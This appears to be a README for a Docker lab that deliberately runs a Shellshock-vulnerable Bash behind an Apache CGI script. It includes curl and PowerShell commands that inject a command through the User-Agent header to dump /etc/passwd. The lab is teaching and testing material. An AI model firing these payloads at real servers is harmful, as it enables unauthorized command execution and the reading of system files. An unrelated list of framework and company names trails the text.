CentOS8 + Apache2 + Bash (v4.3)
Build an image from Dockerfile:
docker build -t tex2e/shellshock-cgi .
docker run -itd -p 80:80 --privileged --name shellshock-cgi tex2e/shellshock-cgi /sbin/initWhen entering the container:
docker exec -it shellshock-cgi bash- The bash containing the vulnerability is located in /usr/local/bin/bash.
- Shebang in /var/www/cgi-bin/test.cgi specifies to run /usr/local/bin/bash.
curl：
curl -A "() { :;}; echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://localhost:80/cgi-bin/test.cgiPowerShell：
$Response = Invoke-WebRequest -UserAgent "() { :;}; echo `"Content-type: text/plain`"; echo; echo; /bin/cat /etc/passwd" http://localhost:80/cgi-bin/test.cgi
$Response.Content
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent